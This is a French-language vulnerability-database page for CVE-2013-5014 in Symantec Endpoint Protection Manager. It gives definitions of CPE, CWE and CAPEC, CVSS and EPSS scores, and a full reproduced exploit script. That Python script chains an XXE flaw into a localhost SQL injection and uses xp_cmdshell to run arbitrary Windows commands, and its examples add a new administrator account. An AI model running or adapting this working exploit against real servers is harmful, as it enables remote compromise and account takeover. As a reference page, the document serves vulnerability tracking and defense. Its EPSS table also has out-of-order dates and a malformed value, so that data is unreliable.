CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
SQL injection vulnerability in the management console in Symantec Endpoint Protection Manager (SEPM) 11.0 before 11.0.7405.1424 and 12.1 before 12.1.4023.4080, and Symantec Protection Center Small Business Edition 12.x before 12.1.4023.4080, allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.5
AV:N/AC:L/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.23%
–
–
2022-02-20
–
–
1.23%
–
–
2022-04-03
–
–
1.23%
–
–
2022-06-26
–
–
1.23%
–
–
2022-10-16
–
–
1.23%
–
–
2023-03-12
–
–
–
0.66%
–
2023-05-28
–
–
–
0.66%
–
2023-10-01
–
–
–
0.57%
–
2023-12-31
–
–
–
0.57%
–
2024-02-11
–
–
–
0.57%
–
2024-04-07
–
–
–
0.57%
–
2024-06-02
–
–
–
0.57%
–
2024-09-01
–
–
–
0.46%
–
2024-11-03
–
–
–
0.49%
–
2024-12-22
–
–
–
0.49%
–
2025-01-05
–
–
–
0.57%
–
2025-03-16
–
–
–
0.68%
–
2025-01-19
–
–
–
0.57%
–
2025-03-18
–
–
–
–
72.79%
2025-03-30
–
–
–
–
74.05%
2025-03-30
–
–
–
–
74.05,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2014-02-22 23h00 +00:00 Auteur : Chris Graham EDB Vérifié : Yes
import argparse
import httplib
"""
Exploit Title: Symantec Endpoint Protection Manager Remote Command Execution
Exploit Author: Chris Graham @cgrahamseven
CVE: CVE-2013-5014, CVE-2013-5015
Date: February 22, 2014
Vendor Homepage: http://www.symantec.com/endpoint-protection
Version: 11.0, 12.0, 12.1
Tested On: Windows Server 2003, default SEPM install using embedded database
References: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140213_00
Details:
First off, this was a fantastic discovery by Stefan Viehbock. The abuse of the XXE
injection to force SEPM to exploit itself through a separate SQL injection flaw was
particularly amusing. I suspect the majority of SEPM users will have it configured
with the default embedded database, thereby making this a pretty reliable exploit.
So basically what you are looking for with the XXE injection is a vulnerability
that can be triggered in the ConsoleServlet. When a multipart http request is sent,
the servlet will use a custom MultipartParser class to handle the individual
multipart bodies. When a body is encountered that uses a Content-Type of text/xml,
the Java DocumentBuilder class is used to parse the xml. Since Symantec did not
disallow declared DTD processing, it is vulnerable to the XXE injection. This
appears to be a blind XXE, so a better use of the vulnerability is use it for SSRF.
That leads us to the SQL injection flaw.
Symantec has an http request handler called ConfigServerHandler that is programmatically
restricted to only handle requests that come from localhost. I guess when they wrote this
they just assumed that there was never going to be a way to send untrusted input to it
since it was always going to be controlled by them. I base this guess on the fact that
there is absolutely no attempt made to validate what input comes in to the
updateReportingVersion function which shoves it directly into a SQL query unfiltered. In
order to trigger the SQL injection you just need to send the SQL injection string in the
"Parameter" url param with the "action" param set to test_av. On a default install of SEPM,
it uses a SQL Anywhere embedded database. Much like MSSQL, SQL Anywhere has an xp_cmdshell
stored procedure to run local OS commands. Using this stored procedure, you can compromise
the server that is running SEPM.
Example Usage:
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net user myadmin p@ss!23 /add"
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net localgroup Administrators myadmin /add"
"""
multipart_body = \
"------=_Part_156_33010715.1234\r\n" + \
"Content-Type: text/xml\r\n" + \
"Content-Disposition: form-data; name=\"Content\"\r\n\r\n" + \
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n" + \
"<!DOCTYPE sepm [<!ENTITY payload SYSTEM " + \
"\"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av" + \
"&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('%s');--\" >]>\r\n" + \
"<request>\r\n" + \
"<xxe>&payload;</xxe>\r\n" + \
"</request>\r\n" + \
"------=_Part_156_33010715.1234--\r\n"
headers = {'Content-Type':"multipart/form-data; boundary=\"----=_Part_156_33010715.1234\""}
cmdline_parser = argparse.ArgumentParser(description='Symantec Endpoint Protection Manager' + \
' Remote Command Execution')
cmdline_parser.add_argument('-t', dest='ip', help='Target IP', required=True)
cmdline_parser.add_argument('-p', dest='port', help='Target Port', default=9090, \
type=int, required=False)
cmdline_parser.add_argument('-ssl', dest='ssl', help='Uses SSL (set to 1 for true)', \
default=0, type=int, required=False)
cmdline_parser.add_argument('-c', dest='cmd', help='Windows cmd to run (must be in quotes ie "net user")', \
required=True)
args = cmdline_parser.parse_args()
if args.ssl == 1:
conn = httplib.HTTPSConnection(args.ip, args.port)
else:
conn = httplib.HTTPConnection(args.ip, args.port)
multipart_body = multipart_body % (args.cmd)
print "\n[*]Attempting to exploit XXE and run local windows command: " + args.cmd
conn.request("POST", "/servlet/ConsoleServlet?ActionType=ConsoleLog", multipart_body, headers)
res = conn.getresponse()
if res.status != 200:
print "[-]Exploit unsuccessful! Server returned:\n" + res.read()
else:
print "[+]Exploit successfully sent!"
Products Mentioned
Configuraton 0
Symantec>>Endpoint_protection_manager >> Version 11.0